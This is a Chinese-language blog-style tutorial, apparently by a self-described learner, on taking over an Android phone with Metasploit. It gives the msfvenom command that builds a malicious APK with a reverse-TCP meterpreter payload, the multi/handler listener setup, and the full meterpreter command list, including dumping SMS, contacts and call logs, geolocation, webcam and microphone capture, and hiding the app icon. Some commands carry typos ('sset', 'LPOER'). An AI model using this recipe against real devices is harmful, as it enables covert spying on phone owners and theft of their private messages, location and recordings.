在學(xué)習(xí)過(guò)程中绢掰,發(fā)現(xiàn)一篇入侵android文章令野,本著學(xué)習(xí)為主的態(tài)度王财,通過(guò)自己手機(jī)實(shí)際測(cè)試一下,入侵主要思路通過(guò)msfvenom生成惡意app察蹲,通過(guò)mesfconsole的handler 監(jiān)聽反向連接請(qǐng)求请垛,并發(fā)送遠(yuǎn)程控制指令催训。
- 生成而已a(bǔ)pp
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.13 LPORT=4444 >myfast.apk
生成app時(shí)涉及到兩個(gè)參數(shù)LHOSR即監(jiān)聽反向連接的服務(wù)器,一般為攻擊者使用的專用設(shè)備宗收,LPORT反向連接時(shí)使用的端口漫拭,即handler監(jiān)聽的本地端口。
app生成后在android平臺(tái)安裝該應(yīng)用混稽。
- 啟動(dòng)msfconsole
啟動(dòng)成功后通過(guò)search功能找到payload/android/shell/reverse_tcp 采驻。
- 啟動(dòng)handler監(jiān)聽
切換到該模塊。
use exploit/multi/handler
設(shè)置相應(yīng)參數(shù)主要參數(shù)為L(zhǎng)HOST荚坞、LPOER挑宠、payload,可以通過(guò)show options命令查看所有參數(shù)颓影。
通過(guò)如下方式設(shè)置參數(shù)
sset payload android/meterpreter/reverse_tcp
set LHOST 192.168.0.13
set LPOER 4444
通過(guò)exploit方式啟動(dòng)監(jiān)聽各淀。
啟動(dòng)后等待程序連入如圖:
當(dāng)app在手機(jī)端運(yùn)行時(shí)可直接與手機(jī)建立起鏈接如圖:
輸入help可獲取使用說(shuō)明。
meterpreter > help\r
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
help Help menu
info Displays information about a Post module
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for 'load'
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
getuid Get the user that the server is running as
localtime Displays the target system's local date and time
pgrep Filter processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
screenshot Grab a screenshot of the interactive desktop
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Android Commands
================
Command Description
------- -----------
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information
這里簡(jiǎn)單使用幾個(gè)相應(yīng)功能
獲取位置信息
獲取通話記錄
主動(dòng)拍照
錄像
其他詳細(xì)用法請(qǐng)參見幫助诡挂。